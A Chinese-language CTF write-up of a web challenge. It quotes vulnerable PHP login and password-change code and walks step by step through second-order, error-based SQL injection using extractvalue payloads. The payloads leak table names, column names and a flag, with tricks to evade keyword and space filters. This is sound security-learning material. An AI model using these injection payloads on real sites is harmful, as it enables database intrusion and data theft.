先查看源碼
1,changepwd(修改密碼)
<?php
// 開啟會話,以便使用會話變量
session_start();// 設置頁面的內容類型為 HTML 并使用 UTF-8 編碼
header("Content-Type: text/html; charset=UTF-8");// 引入配置文件,通常包含數據庫連接信息等
require_once 'config.php';// 輸出一個表單,用于用戶輸入舊密碼和新密碼
echo '<form action="" method="post"><p>oldpass: <input type="text" name="oldpass" /></p><p>newpass: <input type="text" name="newpass" /></p><input type="submit" value="Submit" /></form>';// 檢查是否提交了舊密碼和新密碼
if (isset($_POST['oldpass']) && isset($_POST['newpass'])) {// 將用戶輸入的舊密碼進行 MD5 哈希處理$oldpass = md5($_POST['oldpass']);// 將用戶輸入的新密碼進行 MD5 哈希處理$newpass = md5($_POST['newpass']);// 獲取當前登錄用戶的用戶名,存儲在會話中$username = $_SESSION['username'];// 構建 SQL 語句,用于更新用戶的密碼,使用用戶輸入的舊密碼驗證用戶身份$sql = "update users set pwd='$newpass' where name=\"$username\" and pwd='$oldpass'";// var_dump($sql);// 執行 SQL 查詢$query = mysql_query($sql);// 檢查查詢是否成功執行if ($query) {// 如果查詢成功,退出腳本,可根據需要修改為更有意義的操作,如顯示成功消息exit('');} else {// 如果查詢失敗,輸出 MySQL 錯誤信息并終止腳本die(mysql_error());}
}
?>
此文件表明會對輸入的用戶名和密碼進行MD5哈希處理
所以數據庫中存儲的是MD5哈希值
查詢成功,此文件執行結束,如果失敗,會輸出MySQL錯誤信息
好像是報錯注入
2,config(配置文件)
<?php
// 定義數據庫主機地址和端口號
$dbhost = 'localhost:3306';
// 定義數據庫用戶名
$dbuser = 'root';
// 定義數據庫密碼,這里是空密碼
$dbpass = '';
// 使用 mysql_connect 函數嘗試連接到數據庫服務器,傳遞主機、用戶名和密碼作為參數
$conn = mysql_connect($dbhost, $dbuser, $dbpass);// 選擇要使用的數據庫,這里選擇的是名為 'web_sqli' 的數據庫
mysql_select_db('web_sqli');
// 設置字符集為 utf8,確保數據庫操作使用 utf8 編碼,避免亂碼問題
mysql_query('set NAMES utf8');// 檢查是否開啟了魔術引號,如果沒有開啟,則對 POST 和 GET 數據進行轉義處理
if (!get_magic_quotes_gpc()) {// 遍歷 POST 數據,對其中的每個元素進行轉義處理foreach ($_POST as $key => $value) {// 使用 addslashes 函數對值進行轉義,防止 SQL 注入$_POST[$key] = addslashes($value);}// 遍歷 GET 數據,對其中的每個元素進行轉義處理foreach ($_GET as $key => $value) {// 使用 addslashes 函數對值進行轉義,防止 SQL 注入$_GET[$key] = addslashes($value);}
}
?>
此文件表明數據庫用戶名為root,密碼是空密碼
并且檢查是否開啟了魔術引號,未開啟時對post,get數據進行轉義處理
3,index(默認首頁文件)
<?php
// 開始一個新的會話或繼續已有的會話
session_start();// 設置 HTTP 響應頭,指定內容類型為 text/html 且字符編碼為 UTF-8
header("Content-Type: text/html; charset=UTF-8");// 引入配置文件,通常包含數據庫連接信息等
require_once 'config.php';// 檢查是否已經設置了會話中的用戶名,這通常表示用戶已經登錄
if (isset($_SESSION['username'])) {// 輸出歡迎信息,并顯示用戶的名字作為一個鏈接,指向 user.php 頁面echo "Hi,<a href='user.php'>".$_SESSION['username']."</a>";// 輸出一個無序列表的開始標簽echo "<ul>";// 輸出列表項,鏈接到 index.php 并傳遞不同的 title 參數echo "<li><a href='index.php?title=lcsg'>良辰詩歌</a></li>";echo "<li><a href='index.php?title=wyzb'>網友裝逼</a></li>";echo "<li><a href='index.php?title=zrtbf'>趙日天不服</a></li>";// 輸出無序列表的結束標簽echo "</ul>";// 檢查是否從 GET 請求中接收到了 title 參數if (isset($_GET['title'])) {// 獲取 GET 請求中的 title 參數的值$title = $_GET['title'];// 構建一個 SQL 查詢語句,根據 title 從 article 表中查詢數據$sql = "select * from article where title='$title'";// 執行 SQL 查詢$query = mysql_query($sql);// 檢查查詢是否成功執行if ($query) {// 獲取查詢結果的一行數據作為關聯數組$row = mysql_fetch_array($query);// 輸出查詢結果中 content 列的數據echo $row['content'];}}
} else {// 如果用戶沒有登錄,輸出匿名用戶的歡迎信息echo "Hi,Anonymous<br>";// 輸出登錄頁面的鏈接echo "<a href='./login.php'>LOGIN</a><br>";// 輸出注冊頁面的鏈接echo "<a href='./register.php'>REGISTER</a><br>";
}
?>
4,login(登錄)
<?php
// 開始一個新的會話或繼續已有的會話
session_start();// 設置 HTTP 響應頭,指定內容類型為 text/html 并使用 UTF-8 編碼
header("Content-Type: text/html; charset=UTF-8");// 引入配置文件,通常包含數據庫連接信息等
require_once 'config.php';// 輸出一個 HTML 表單,用戶可以在其中輸入用戶名和密碼,表單提交到 login.php 頁面,使用 POST 方法
echo '<form action="login.php" method="post"><p>username: <input type="text" name="username" /></p><p>password: <input type="text" name="password" /></p><input type="submit" value="Submit" /></form>';// 檢查是否通過 POST 方法提交了用戶名和密碼
if (isset($_POST['username']) && isset($_POST['password'])) {// 獲取用戶輸入的用戶名$username = $_POST['username'];// 使用 MD5 對用戶輸入的密碼進行哈希處理(這種方式已不安全,建議使用 password_hash 函數)$password = md5($_POST['password']);// 構建 SQL 查詢語句,用于從 users 表中查找匹配的用戶名和密碼$sql = "SELECT * FROM users WHERE name = '$username' and pwd = '$password'";// 執行 SQL 查詢$query = mysql_query($sql);// 檢查查詢結果是否正好有一行(即找到一個匹配的用戶)if (mysql_num_rows($query) == 1) {// 獲取查詢結果的一行數據$row = mysql_fetch_array($query);// 將用戶名存儲在會話中,用于后續頁面判斷用戶是否已登錄$_SESSION['username'] = $row['name'];// 重定向到 index.php 頁面header('Location: index.php');// 終止腳本執行die();} else {// 如果未找到匹配用戶,輸出登錄錯誤信息并終止腳本die('<br>login error');}
}
?>
看完這個源碼后就看不到了
只能先進靶場了
進入靶場
嘗試輸入
無效字符串
不管輸啥都說無效字符串,,,,,,
后來發現好像是Email出了問題
知道了一個用戶名(猜測可以通過新注冊一個賬號來更改admin賬戶的密碼)
以此來注冊一個賬號
登錄
看到此頁面
點擊admin#后發現可以更改密碼
那就先把admin賬號的密碼改了
改成123
登錄看看
好打臉啊
一開始輸admin'說無效字符串后就沒輸過'了
補上再輸一遍
還是錯的????????????????????
試試? "
好吧,也是對了,以后菜就多試
先都點進去看看
so,我是什么很賤的人嗎,給我看這個
不過通過以上操作,得知存在二次注入
根據源碼知道它會報錯
而且一開始的操作知道它會過濾
50.【8】BUUCTF WEB HardSql-CSDN博客
參考這篇博客的語句
1,查詢庫名
admin"^extractvalue(1,concat(0x7e,(select(database()))))#
(#是以get方式提交時使用的,-- -和-- +是以post方式提交時使用的,%23在url處使用)
2,查詢表名
admin"^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('~web_sqli'))))#
???
嘗試了一下,是把like過濾了
改
admin"^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)='~web_sqli')))#
空白???
改
admin"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)='~web_sqli')))#
還是空白?????????
改
admin"^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())))#
把庫名帶進去就報不出來,那我求庫名的操作算什么????
算我。。
3,查詢字段名
admin"^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag')))#
4,查詢字段內容
admin"^extractvalue(1,concat(0x7e,(select(flag)from(flag))))#
變
admin"^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))#
?
語義未盡
改
用right讓后面的爆出來
admin"^extractvalue(1,right(concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'),32))#
要不我還是去四八(好不容易把括號一組一組對上)
他把right過濾了
改
admin"^extractvalue(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'))))#
終于終于
admin"^extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users))))#
???還好還好,快結束了
下午學姐剛好講了正則表達式
admin"^extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f'))))#
admin"^extractvalue(1,concat(0x7e,reverse((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')))))#
手動拼一下
flag{090f0996-0d57-4a30-b0d9-92675185411f}
over
筆記
1,該用字典還得用字典
2,extractvalue
3,空格被過濾的題目第一遍就認真注意()的個數,千萬別再多一個少一個了
?